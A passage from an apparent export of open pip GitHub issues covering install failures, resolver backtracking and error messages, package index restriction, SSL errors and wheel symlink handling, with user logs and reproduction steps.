WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c95c5100>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/pip/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c95c52b0>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/pip/
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c8f2bc10>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c8f2be20>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c8f32040>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c8f321c0>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c8f32370>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
ERROR: Could not find a version that satisfies the requirement numpy>1.16 (from versions: none)
ERROR: No matching distribution found for numpy>1.16

failed

CondaEnvException: Pip failed
````

### Expected behavior

The next installation commands should be:
`source activate devito`
which works, and the next:
`pip install -e .`
which shows the following:
```
Obtaining file:///home/quant/devito
Requirement already satisfied: pip>=9.0.1 in /home/quant/anaconda3/envs/devito/lib/python3.9/site-packages (from devito==4.6.2+60.g9b765d0d6) (21.2.4)
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7fa7509e1040>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7fa750a4d9d0>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7fa750a4d880>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7fa750a4d190>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7fa750a4dca0>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/numpy/
ERROR: Could not find a version that satisfies the requirement numpy>1.16 (from devito) (from versions: none)
ERROR: No matching distribution found for numpy>1.16
```
So, I can not install the package correctly and implement the final command:
`conda update - all –yes`

I noticed that base Python version is 3.7.6 and after the source activation python version is 3.9.7 (I am not sure if it helps but I really struggled with this problem).

### pip version

21.2.4

### Python version

3.9.7

### OS

Ubuntu 18.04 LTS

### How to Reproduce

#use these commands as you follow along the steps
`Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux`

```
sudo apt-get update
sudo apt-get install build-essential
```

```
cd /tmp
curl -O https://repo.anaconda.com/archive/Anaconda3-2020.02-Linux-x86_64.sh
```


`bash Anaconda3-2020.02-Linux-x86_64.sh`

Then I updated Anaconda and Conda. Next:

```
git clone https://github.com/devitocodes/devito.git
cd devito
conda env create -f environment-dev.yml
source activate devito
```


```
pip install -e .
conda update - all –yes
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: NikoYura
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10964: state: open
title: Ability to restrict package indexes for specific packages (downstream pipenv issue 4637
body: Greetings, this has been a long 24 hours for me as I began debugging this particular issue early Sunday on the pipenv side, and I have never opened a PR with pip directly before so please help guide me along the way.

**Problem statement**:  There should be a way to marry up the pipenv package index restrictions to the Pip resolver so that it does not openly scan indexes that are package restricted.

This was revealed to me while triaging pipenv issue https://github.com/pypa/pipenv/issues/4637 and in my hours of debugging the code, I had to conclude that pip resolver does not have a way to restrict only certain packages in the resolution or install process.   After several attempts at arriving at a solution, I found this change to be cleanest and you can see it in the context of Pipenv with a passing build here:  https://github.com/pypa/pipenv/pull/4983

The actual test example of pipenv issue 4637 is complex and I haven't figured out adding that to the test runner yet, but that branch does in fact resolve the packages properly when particular packages are pinned to a particular index and multiple package indices are available thanks in part to this modification to pip internals.

I have no idea how the pip community will react to this PR.  I am hoping that it will kick off the CI so I can see if I break any pip tests and perhaps get some guidance on how/where to add tests if this is in fact the right direction to head in.   If this is not the right direction to head in, then please guide me towards the solution as I've spent many hours on this particular issue already dedicated days to improving the pipenv project with the help of others in the community.  

This is the only current issue I know of in the pipenv backlog that seems very high severity, appears isn't already resolved upstream, and I believe relates to a number of other issues we are concerned with, such as package confusion where a package with the same name in pypi can be preferred over one in a private pypi server.

Note:  I will be happy to add a news fragment if some version of this gains tractions/acceptance.

user: matteius
issue_10955: state: open
title: pip hangs on all commands
body: ### Description

Every pip command takes way too long to run on my server.

```
main@box ~> time pip -V
pip 22.0.4 from /home/main/.asdf/installs/python/3.10.2/lib/python3.10/site-packages/pip (python 3.10)

________________________________________________________
Executed in    6.39 secs    fish           external
   usr time    2.93 secs    1.19 millis    2.93 secs
   sys time    0.38 secs    0.41 millis    0.38 secs
```

This command was run with a fresh installation of python done with asdf.

```
main@box ~> time pip list
Package    Version
---------- -------
pip        22.0.4
setuptools 58.1.0

________________________________________________________
Executed in   17.83 secs    fish           external
   usr time    4.02 secs    0.00 millis    4.02 secs
   sys time    0.54 secs    1.62 millis    0.53 secs
```

I get the same issue with the system installation.  Python seems to be fine.

```
main@box ~> time python -c "print('Hello world!')"
Hello world!

________________________________________________________
Executed in  837.90 millis    fish           external
   usr time  204.28 millis    1.47 millis  202.81 millis
   sys time  219.48 millis    0.48 millis  219.00 millis
```
But `import pkg_resources` is quite slow despite there being only 2 packages.
```
main@box ~> time python -c "import pkg_resources"

________________________________________________________
Executed in    6.20 secs      fish           external
   usr time  905.45 millis    1.88 millis  903.57 millis
   sys time  311.53 millis    0.63 millis  310.90 millis
```




### Expected behavior

Same command on my local computer: < 1 second.

```
❯ time pip -V
pip 22.0.3 from /home/main/.local/lib/python3.10/site-packages/pip (python 3.10)

________________________________________________________
Executed in  708,31 millis    fish           external
   usr time  577,45 millis  255,00 micros  577,20 millis
   sys time   69,96 millis  175,00 micros   69,79 millis

```

### pip version

pip 22.0.4

### Python version

pip 22.0.4

### OS

Linux box 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux

### How to Reproduce

1. Fresh install python with asdf
2. Run `pip -V`

### Output

_No response_

### Code of Conduct

- [x] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: nick-robo
labels: type: bug: A confirmed bug or unintended behavior
state: needs reproducer: Need to reproduce issue
issue_10953: state: open
title: Misleading error does not distinguish between missing dependency vs dependency conflict
body: ### Description

Pip gives the error "Cannot install XYZ because these package versions have conflicting dependencies" when there is no dependency conflict.

I set up a PEP-503-compliant repo on artifactory, and published a few versions of my package `my-py-package`. 

I then ran the command 
```
python -m pip install --index-url "https://cowlinator:[REDACTED]@artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/simple" my-py-package
```
which resulted in the following error:
```
ERROR: Cannot install my-py-package==0.1.2rc0, my-py-package==0.1.2rc1 and my-py-package==0.1.2rc3 because these package versions have conflicting dependencies.

The conflict is caused by:
    my-py-package 0.1.2rc3 depends on keyrings.cryptfile>=1.3.3
    my-py-package 0.1.2rc1 depends on keyrings.cryptfile>=1.3.3
    my-py-package 0.1.2rc0 depends on keyrings.cryptfile>=1.3.3
```

It's obvious to see that pip is reporting a dependency conflict when no conflict exists, but it's not easy to understand why. Eventually, I discovered that this error occurs because the repo does not contain the `keyrings` package.

Running the command 
```
python -m pip install --extra-index-url "https://cowlinator:[REDACTED]@artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/simple" my-py-package
```
Succeeds as expected.

### Expected behavior

The pip error should not state that a dependency conflict exists. 

Also, the error should state that the dependency package cannot be found on the repo(s).

### pip version

22.0.4

### Python version

3.10.0

### OS

Windows 10 (20H2)

### How to Reproduce

1. Create a PEP-503-compliant repo. 
2. Create a python package that has 1 or more dependencies from pypi.org
3. Upload that package to your repo.
5. Clear your pip cache
6. run `python -m pip install --index-url "<your_repo_url>" <your-package-name>`

### Output

```sh-session
(venv) D:\Dev\sandbox\piptest1>python -m pip install --index-url "https://cowlinator:[REDACTED]@artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/simple" my-py-package
Looking in indexes: https://cowlinator:****@artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/simple
Collecting swp-autoupdate
  Using cached https://artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/my-py-package/0.1.2rc3/my-py-package-0.1.2rc3-py2.py3-none-any.whl (34 kB)
  Using cached https://artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/my-py-package/0.1.2rc1/my-py-package-0.1.2rc1-py2.py3-none-any.whl (34 kB)
  Using cached https://artifactory.[REDACTED].com/artifactory/api/pypi/my-pep503-repo/my-py-package/0.1.2rc0/my-py-package-0.1.2rc0-py2.py3-none-any.whl (34 kB)
ERROR: Cannot install my-py-package==0.1.2rc0, my-py-package==0.1.2rc1 and my-py-package==0.1.2rc3 because these package versions have conflicting dependencies.

The conflict is caused by:
    my-py-package 0.1.2rc3 depends on keyrings.cryptfile>=1.3.3
    my-py-package 0.1.2rc1 depends on keyrings.cryptfile>=1.3.3
    my-py-package 0.1.2rc0 depends on keyrings.cryptfile>=1.3.3

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: cowlinator
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
C: finder: PackageFinder and index related code
issue_10949: state: open
title: distutils: distro config file not copied to overlay directory
body: ### Description

setuptools recently added a distro-config file for distutils (see e.g. https://github.com/pypa/setuptools/pull/2896). pkgsrc uses this feature.
pip does not copy this file to its overlay directory, causing 'pip install' to fail. 'pip install --no-build-isolation' works.

Example output of the error:
```
pip install 'PyYAML<6'                                            
Defaulting to user installation because normal site-packages is not writeable                                                                            
Collecting PyYAML<6                   
  Downloading PyYAML-5.4.1.tar.gz (175 kB)                                                                                                               
     |████████████████████████████████| 175 kB 3.9 MB/s            
  Installing build dependencies ... done                                                                                                                 
  Getting requirements to build wheel ... error            
  ERROR: Command errored out with exit status 1:                                                                                                         
   command: /usr/pkg/bin/python3.10 /usr/pkg/lib/python3.10/site-packages/pip/_vendor/pep517/in_process/_in_process.py get_requires_for_build_wheel /tmp/
tmp7uz3x8rj                                                                                                                                              
       cwd: /tmp/pip-install-q0d2qju0/pyyaml_cb0b2188e0a243029f850480e1a32cef
  Complete output (31 lines):                                                                                                                            
  Traceback (most recent call last):                                        
    File "/tmp/pip-build-env-o87pew3o/overlay/lib/python3.10/site-packages/setuptools/_distutils/sysconfig.py", line 454, in _init_posix    
      _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
  ModuleNotFoundError: No module named '_sysconfigdata__netbsd9_'
```
(This particular error happens because the pkgsrc distro config file overrides `_sysconfig_name_tmpl` to `_sysconfigdata_${platform}`.)

### Expected behavior

pip should provide the `_distutils_system_mod.py` in its overlay directory, if the file exists.

### pip version

21.3.1

### Python version

3.10.2

### OS

NetBSD

### How to Reproduce

`pip install 'PyYAML<6'` though probably any package works.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: 0-wiz-0
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10946: state: open
title: Removing the legacy resolver
body: This is an issue to coordinate the discussion around removing the legacy resolver, and what all we need to do to make that possible.
user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
issue_10939: state: open
title: Getting ssl certificate errors while using command pip3 install <anything>
body: ### Description

Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
tried adding trusted host and the trusted host command but nothing seems to work for me on centos 7.9 
also tried adding trusted host in pip.ini file
tried with python 3.10 as well


### Expected behavior

_No response_

### pip version

pip-21.2.4

### Python version

3.101.2 , 3.11

### OS

centos 7.9

### How to Reproduce

1. install python on centos 7 using this link https://linuxstans.com/how-to-install-python-centos/
2. then use command pip3.11 install unittest-xml-reporting
3. it throws warnings and  error
4. anything with pip install is not working 


### Output

```sh-session
[root@localhost Documents]# python3.10 -m pip install -U pip
WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Requirement already satisfied: pip in /usr/local/lib/python3.10/site-packages (21.2.4)
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: snmore25
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10935: state: open
title: Handle symlinks when extracting `.whl` files
body: ### Description

PIP does not export symlinks correctly when processing WHL archives. See my proof below. Expected output should be:

```
-rw-rw-r-- 1 user user 0 Mar   3 08:00 bla.txt
lrwxrwxrwx 1 user user 7 Mar   3 08:00 bla.txt.link -> bla.txt # << this is a symlink
-rw-rw-r-- 1 user user 0 Mar   3 08:00 __init__.py
drwxrwxr-x 2 user user 37 Mar  3 08:00 __pycache__
```

But PIP creates ```bla.txt.link``` as a text file containing "bla.txt"
```
-rw-rw-r-- 1 user user 0 Mar   3 08:38 bla.txt
-rw-rw-r-- 1 user user 7 Mar   3 08:38 bla.txt.link # << this is just a text file containing "bla.txt"
-rw-rw-r-- 1 user user 0 Mar   3 08:00 __init__.py
drwxrwxr-x 2 user user 37 Mar  3 08:00 __pycache__
```

Fixing this issue is rather easy. The code at [```pip/_internal/operations/install/wheel.py#L388```](https://github.com/pypa/pip/blob/main/src/pip/_internal/operations/install/wheel.py#L388) needs to be changed to:

```python
with self._zip_file.open(zipinfo) as f:
        if (zipinfo.external_attr & (1 << 29)):
                os.symlink(f.read(), self.dest_path)
        else:
                with open(self.dest_path, "wb") as dest:
                        shutil.copyfileobj(f, dest)
```

**Explanation:** the 29th bit in ```zipinfo.external_attr``` indicates if this is a symlink. In that case, the content of the file is the link destination.

### Expected behavior

Symlinks should be extracted correctly and not as text files.

### pip version

22.0.3

### Python version

3.7

### OS

Linux

### How to Reproduce

```bash
# 1. Create a dummy package with a symlink
mkdir build
pushd build

mkdir testsymlink
pushd testsymlink
touch __init__.py
touch bla.txt
ln -s bla.txt bla.txt.link
popd # testsymlink

mkdir testsymlink-1.0.dist-info
pushd testsymlink-1.0.dist-info
echo "Metadata-Version: 2.1"			        > METADATA
echo "Name: testsymlink"			        >> METADATA
echo "Version: 1.0.0"				        >> METADATA
echo "Summary: UNKNOWN"				        >> METADATA
echo "Home-page: UNKNOWN"			        >> METADATA
echo "Author: UNKNOWN"				        >> METADATA
echo "Author-email: UNKNOWN"			        >> METADATA
echo "License: UNKNOWN"				        >> METADATA
echo "Platform: UNKNOWN"			        >> METADATA
echo "Requires-Python: >=3.7"			        >> METADATA
 
echo "testsymlink/__init__.py,,"			> RECORD
echo "testsymlink/bla.txt,,"				>> RECORD
echo "testsymlink/bla.txt.link,,"			>> RECORD
echo "testsymlink-1.0.dist-info/METADATA,,"		>> RECORD
echo "testsymlink-1.0.dist-info/WHEEL,,"		>> RECORD
echo "testsymlink-1.0.dist-info/top_level.txt,,"	>> RECORD
echo "testsymlink-1.0.dist-info/RECORD,,"		>> RECORD

echo "testsymlink" > top_level.txt

echo "Wheel-Version: 1.0"			        > WHEEL
echo "Generator: bdist_wheel (0.37.1)"		        >> WHEEL
echo "Root-Is-Purelib: true"			        >> WHEEL
echo "Tag: py3-none-any"			        >> WHEEL

popd # testsymlink-1.0.dist-info

zip -ry testsymlink-1.0-py3-none-any.whl testsymlink testsymlink-1.0.dist-info

# 2. Install the dummy package
python3 -m pip install testsymlink-1.0-py3-none-any.whl

popd # build

# 3. Print folder of the dummy package
ls -l $(python3 -c "import os; import testsymlink; print(os.path.dirname(testsymlink.__file__))")
```

### Output

```sh-session
-rw-rw-r-- 1 user user 0 Mar   3 08:38 bla.txt
-rw-rw-r-- 1 user user 7 Mar   3 08:38 bla.txt.link
-rw-rw-r-- 1 user user 0 Mar   3 08:00 __init__.py
drwxrwxr-x 2 user user 37 Mar  3 08:00 __pycache__
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mergian
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_10932: state: open
title: Give the user (optional) control over the backtracking behaviour via timeout
body: ### What's the problem this feature will solve?

As discussed in #10258  (which is about presenting conflict as they appear) to split-off the discussion I start a new issue as proposed by @pradyunsg.

The feature request here is a proposal to give the user control over the backtracking process via timeout, especially in case it goes into a long backtracking loop. There are some issues describing such backtracking loop happening, for example #10924 and discussing potential changes in the way how algorithm work (for example #10884, #10788). 

There are also similar discussions and proposals (for example #10417, #10235) but none of them (as far as I see) proposed timeout as a solution.

The problem this proposal is supposed to handle is to handle the case of users using `pip` to find and resolve installation of packages in CI environments. Many of the users use `pip` to aither install packages in CI or build container images (example Apache Airflow but there are plenty of others) and they would like to be able to determine the non-conflicting set of dependencies using `pip` resolver. This is useful if you build libraries or applications where you have "open" set of requirements and you want to make sure that your users are able to continue installing your application or library so that their `pip install` commend will complete in reasonable time. 

In this case what the users of `pip` need is to use `pip` resolver for the job it is designed - to find the right set of dependencies fulfilling the limitations of packages to install, but they also need ot be able to diagnoes and fix the cases when `pip` enters the backtrack loop and it takes much more time than usual. 

In such case the users should be able to stop backtracking automatically (CI systems are designed to run in unattended way)  and get information that will enable them to inspect the root cause of the conflicts that lead to backtracking.

Currently even if such backtracking is stoped at a timeout, the logs of `pip` do not contain enough information to figure out what was the root of the conflict that led to backtracking (details in https://github.com/pypa/pip/pull/10258#issuecomment-1052151154) 

### Describe the solution you'd like

What I would like to see is:

* Add --resolver-timeout (for example) flag to `pip install` that will fail resolver if the time limit is reached
* Add diagnostics information printed by `pip` when such timeout happens pointing to the (probable if it cannot be assesed exactly) cause for the too-long-backtracking.

### Alternative Solutions

* Limiting the number of backtracking similar to #10417.

The problem with this one is that users of `pip` have no idea of the backtracking algorithm and backtracking depth. See "additional context" below for explanation.

*  Solving it using external timeout wthout internal information from `pip`

The problem cannot be easily solved (IMHO) without `pip` providing the right diagnostics information. In Apache Airflow we've [implemented some ways](https://github.com/apache/airflow/pull/21825) to get more information when such backtracking happens (and we added our own timeout), but the investigation after such capturing are based mostly on guessing. We are looking on what has changed since the last succesful run (which we store in constraints) and provide some clies to  a process to manually figure out the root cause. This is however based on trial and error, and this is mostly based on gueses. Information provided by `pip` itself could be much more helpful and could lead to much less time (and energy) consuming solution.


### Additional context

I perfectly understand that `pip` cannot decide upfront on whether to print the context , and yeah - it is an extremely complex problem to solve, so I also sympathise with pip maintainers here.

But if the algorithm cannot decide, let the user decide when they want to stop and how much of backtracking to do and when "too long" or "too much" of the backtracking to do. Simply letting it running for an indefinite amount of time when things go wrong is the "worst" UI choice from the user perspective. Because the user cannot do anything about it when it happens.

Most of the users do not understand the complexity of the resolution algorithm and reasons for backtracking and some of the details that `pip` maintainers know initimately. From the users perspective, the users only know that suddenly a) backtracking happens (but they might not understand why and even what backtracking is) and b) `pip` starts to download awfully lot of data c) it takes whole lot longer for the resolver to run and it might even never complete. 

Out of those three observations of the users, the "time" is the easiest one to reason about from the user perspective. Their observation is that suddenly the `install` command they run take a lot longer than normal (and they know from the past what the "normal" is. So their reaction might be to add the timeout parameter and  rerun the failed job for investigation.  This is unlike to backtracking depth - where users would have to first understand all the details of the algorithm before understanding what limit they should put to investigate.

While I understand that it's extremely "hard" to decide when "long" is "too long" in generic case (this is the problem pip maintainers have and I understand it is difficult), delegating it to the user (if they choose to) is the next best thing that can be done. Most of the users do not have "generic" problem to solve. They just want to make sure their particular command works - and if they use it in CI context especially, this is much "narrower" problem space (because they repetitively run pretty much the same command and they expect similar output) and they can make much better decisions for their particular case than the "generic" solution and they can decide on their own when "long" is "too long". And then they should get the right diagnostic information if they hit the limit.

This is what I propose - give the users (those who need it - should be optional) the ability to make their own decision when "long" is "too long" for their particular case, and print diagnostics information if this limit is hit.

I think not all decisions have to be made by the algorithm and pip maintainers - some of those can simply be delegated to users who need it and know what they are doing and what the "usual" time for resolution is.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: potiuk
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10930: state: open
title: Suppress the progress bar with --quiet and --log
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

Closes #10915
user: q0w
issue_10928: state: open
title: Moving away from distutils-sig 
body: Our metadata still says points to distutils-sig.

The mailing list, however, has been shut down: https://mail.python.org/mailman3/lists/distutils-sig.python.org/

Should we update this, and to what?
user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
issue_10924: state: open
title: Entering backtracking loop in github3 vs. Flask App Builder
body: ### Description

The lattest version of `pip` 22.0.3 (but also 21.* line) enters the backtracking loop that goes on for hours when there are (it seems) three conflicting versions of dependencies in specific case for Airflow.

It took me about a day to figure out where the problems comes from as it was entirely not obvious and I had to do trial and error (and develop some tools to help) so it would be great to handle it better. Maybe this report wil help to improve the backtracking solution.

The problem is that suddenly (~ 2 days ago) Airflow eager upgrade builds when we try to upgrade dependencies to latest versions, started to time out after more than 80 minutes (this is the CI timeout we have for our builds).  

The problem turned out to be triggered by [github3.py](https://pypi.org/project/github3.py/) dependency. This dependency released a 3.1.2 version which had `PyJWT>=2.3.0`. The same limits are set in (released few ago 3.1.0, 3.1.1 version of github3.py).  Another depoendency of ours - [Flask App Builder ](https://pypi.org/project/Flask-AppBuilder/#history) has PyJWT<2.0.0. 

Until 3.1.2 version has been released for Gtihub.py, everything worked fine.  There is a `github3.py` dependency (3.0.0) which does not depend at all on PyJWT and previously resolving the dependencies for Airlfow correctly resolved to this version. However when Github3.py 3.1.2 was released, `pip` started to enter a long backtracking loop running for hours (normally such installation is < 10 minutes).

I investigated and tracked it down to one simple change that switches between backtracting <> no backtracking. 

* Adding limitation `github3.py<3.1.2` leads to `pip` correctly resolve the dependencies (and use github3.py == 3.0.0)
* Switching back to `github3.py` leads to backtracking and `pip` unable to find that github3.py 3.0.0 is a good candidate.

It almost looks like backtracking for other dependencies kicks when a dependency has 3 conflicting latest versions. 

Unfortunately we do not yet have a solution to be able to see the root cause of the problem (discussed in https://github.com/pypa/pip/pull/10258) so tracking of the problem was terribly painful and inolved finding which dependencies were upgraded in certain days and trying to limit them manually. This is an extremely painful process - we try to improve it in airflow by adding some workarounds and mostly recording of snapshots of dependencies in the CI, byt a solution in `pip` that could flag at least potential culprits in connection with built-in time limits for resolution could help with such investigations even if it is impossible to find a perfect resolution.  Currently when such a bactrack happens, it is like finding a needle in a haystack. 


### Expected behavior

I think there are two options:

1) solving this case properly - there is a solution, but apparently current backtracking algorithm cannot find it. I do not know enough details about the algorithm, but maybe it can be improved to handle this case (however I do realise it might be complex or impossible)

2) adding timeout on resolution for CI case (and ctrl-c for manual running ) and providing information about potentially conflicting dependencies would be second best solution. See also discussion in https://github.com/pypa/pip/pull/10258 where this has been  discussed. 

Even if we cannot find the solution but the user gets some hints on what causes it, this would be of great help for the maintainers and users of complex dependency sets. The problem in this case might be (like in our case) that some - completely random dependency gets released and starts impossible-to-resolve backtracking without the knowledge or influence from the package maintainer. This is quite bad, because one day your package will install, but the second day it will stop installing. But at least detecting and flagging the potential problems might help the maintainers of those packages to at least understand what the root cause of the problem is.



### pip version

22.0.3 (and 21.* line too).

### Python version

3.8 (also)

### OS

Debian Buster (docker image).

### How to Reproduce

1. Run:
```
docker run -it ghcr.io/apache/airflow/main/ci/python3.7:72588ef409f416d6341928c278bf7ed86939a133
```
You will enter the  Python 3.7 Airflow CI image that has tje "golden" set of dependencies (from today) of Airlfow.

2. Run eager upgrade command:

```
pip install ".[devel_all]" --upgrade --upgrade-strategy eager "dill<0.3.3" "certifi<2021.0.0" "google-ads<14.0.1"
```
(Note the other limtis are hard-coded beofre in order to overcome similar eager behaviour or pip behaviour where install_requires conflics with airflow extras)

You will see the `pip` command enter a very, very long backtracking. 

6. Run eager upgrade command with additional limitation on github3.py:
```
pip install ".[devel_all]" --upgrade --upgrade-strategy eager "dill<0.3.3" "certifi<2021.0.0" "google-ads<14.0.1" "github3.py<3.1.2"
```

This one will properly install airflow with `github3` version == 3.0.0. 

When you run `pipdeptree | less` and look for PyJWT, you will find that PyJWT<2.0 is limited by Flask Application Builder.
The installed version of github3.py is 3.0.0 (as expected).

Apparently (this is a wild guess though) having just two conflicting versions of github3.py to consider (3.1.1 and 3.1.0) does not enter backtracking loop, but having 3 (3.1.0, 3.1.1, 3.1.2) enter the backtracking loop. All three 3.1.* github3.py have PyJWT >=2.3.0. The 3.0.0 has no PyJWT limitation at all.


### Output

1. Output of the "backtracking" (stopped after several minutes of backtracking) is here: 

https://gist.github.com/potiuk/3cf30ddf546ebaf6c80f3352e73fa8f9

Backtracking continues after this log for at least 70 minutes (I was not patient enough to wait) withoug making any progress.

2. Output for successfull installation (with "github3.py<3.1.2") is here: 

https://gist.github.com/potiuk/2691ef71b0a124ff6b74f5653ee01d81

This takes less than 5 minutes on my machine.


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: potiuk
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10918: state: open
title: Improve warning presentation when discarding due to invalid metadata
body: See https://github.com/pypa/pip/issues/10917 for an example of a realistic example of poor presentation of the warning making it more difficult to identify the requested items.

user: pradyunsg
labels: C: error messages: Improving error messages
issue_10917: state: open
title: pip download --no-binary :all: --no-build-isolation importlib_medata fails to fetch a proper sdist or takes a long time to complete
body: ### Description
This fails with a pinned version:
```
$ pip download --no-binary=:all: --dest wheels/   --no-build-isolation importlib_metadata==4.11.1
Collecting importlib_metadata==4.11.1
  Using cached importlib_metadata-4.11.1.tar.gz (42 kB)
  Preparing metadata (pyproject.toml) ... done
